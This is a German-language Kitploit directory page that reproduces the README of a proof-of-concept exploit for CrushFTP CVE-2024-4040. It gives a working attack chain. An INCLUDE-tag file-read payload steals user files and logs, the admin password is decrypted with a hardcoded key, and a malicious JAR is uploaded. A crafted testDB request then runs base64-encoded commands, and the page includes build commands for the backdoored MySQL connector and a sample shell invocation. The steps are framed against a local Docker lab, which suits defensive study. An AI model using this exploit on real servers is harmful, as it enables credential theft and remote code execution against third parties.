Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-4040 — CVE-2024-4040 PoC | Kitploit
Tools/GitHubGitHub/entroychang/cve-2024-4040
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 PoC

Repository anzeigen
31vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-4040

Einleitung

  • Kürzlich bin ich auf diese Schwachstelle gestoßen und fand sie recht interessant. Ich habe die folgenden Artikel gelesen und einen kleinen Exploit geschrieben.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Zielmaschine

  • Ich habe einen Docker von jemand anderem verwendet. Details finden Sie im GitHub des Autors.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

Angriffsablauf

Passwort abrufen

  • Verwenden Sie exploit.py und decrypt.java, um das Passwort zu erhalten und zu entschlüsseln. Der Schlüssel ist fest codiert, daher kann es entschlüsselt werden und beliebige Dateien gelesen werden.
  • Beachten Sie: Wenn der Standard-Admin crushadmin nicht existiert, versuchen Sie, CrushFTP.log zu holen. Dort sind Kontoinformationen enthalten.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • Die Logik prüft zuerst, ob das Ziel verwundbar ist. Dabei werden vier Standardkonten verwendet und versucht, die Datei user.XML abzurufen.
  • Wenn die Verwundbarkeit bestätigt ist, wird das vom Benutzer angegebene Konto abgerufen; falls keines angegeben ist, wird standardmäßig crushadmin verwendet.
  • Nach dem Abruf des Passworts wird es mit decrypt.java entschlüsselt.
  • Die Option --shell dient dazu, die Ergebnisse nach Remote-Code-Ausführung (RCE) bequem anzuzeigen. Nach dem Hochladen der JAR-Datei über die unten beschriebene Methode geben Sie --jar-path und --headers an, um das Ergebnis des ausgeführten Befehls zu sehen.
    • Wichtig: In --headers muss das eingeloggte Cookie angegeben werden, z. B. --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • Der Standardwert für --jar-path ist /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Falls die Datei an einem anderen Ort liegt, muss der Pfad angegeben werden. Relative Pfade funktionieren theoretisch, absolute Pfade werden jedoch empfohlen.

Anmelden und Zuordnungen und Berechtigungen anpassen

  • Melden Sie sich an und rufen Sie das Admin-Panel auf.
  • Suchen Sie User Manager, klicken Sie auf den Benutzer auf der linken Seite, ziehen Sie den gewünschten Ordner per Drag & Drop zu User's Stuff und passen Sie schließlich die Berechtigungen an. Der Upload muss aktiviert sein.

Böswillige JAR-Datei hochladen

  • Laden Sie die böswillige JAR-Datei hoch. Ich habe zwei Versionen vorbereitet, eine für JDK 16 und eine für JDK 13, abhängig von der Java-Version des Servers.
  • Gehen Sie zurück zu den Dateien, klicken Sie auf Upload und laden Sie die böswillige JAR-Datei hoch.

RCE

  • Der Grund für RCE ist, dass es eine Funktion testDB gibt, mit der Sie eine JAR-Datei und ein Treiberobjekt angeben können. Dank der Upload-Möglichkeit können diese kombiniert werden, um RCE zu erreichen.
root@kitploit:~
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • Der Befehl im Bild ist id.
    • Übergeben Sie den base64-codierten Befehl im Parameter db_user, um ihn auszuführen.
  • Ich persönlich habe den MySQL-Connector in Version 5.0.4 modifiziert.
  • Falls die beiden kompilierten Versionen nicht funktionieren, stelle ich meine modifizierte Version zur Verfügung. Sie kann mit den folgenden Befehlen neu kompiliert werden.
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
Tool herunterladen
  • Zum Beenden geben Sie exit ein.
  • Beispielbefehl: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"